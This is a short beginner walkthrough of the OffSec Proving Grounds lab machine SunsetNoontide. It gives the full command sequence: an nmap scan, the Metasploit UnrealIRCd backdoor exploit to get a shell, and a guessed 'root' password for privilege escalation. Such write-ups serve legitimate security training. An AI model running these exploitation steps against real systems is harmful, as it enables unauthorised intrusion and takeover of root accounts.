SunsetNoontide OffSec Walkthrough: SunsetNoontide is OffSec Proving Play Ground Lab which is for the beginner level. In this machine, our target is to find the flags and access the root. So, let’s get started.
Network Scanning
nmap -p- -A -sV 192.168.1.4

After checking for a backdoor exploit for UnrealIRCD in google, I found one.
Enumeration
Now using msfconsole, we will create backdoor.
msfconsole

use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
set RHOSTS 192.168.1.4

show payloads
set payload 1

Exploitation
exploit

After this I gained access to the the machine.
In home directory there is a folder called server and in that folder is the user flag.
id
whoami
ls -la /home
ls -la /home/server
cat /home/server/local.txt

Privilege Escalation
Next step isto escalate the privilege. While trying to do so I guessed the password for root as root and got the access. And in the root directory there was the root flag.
su root
root (it is the password)
id
ls -la /root
cat /root/proof.txt

And we got the the flag!
It was very easy machine. Hope you find this walkthrough useful.
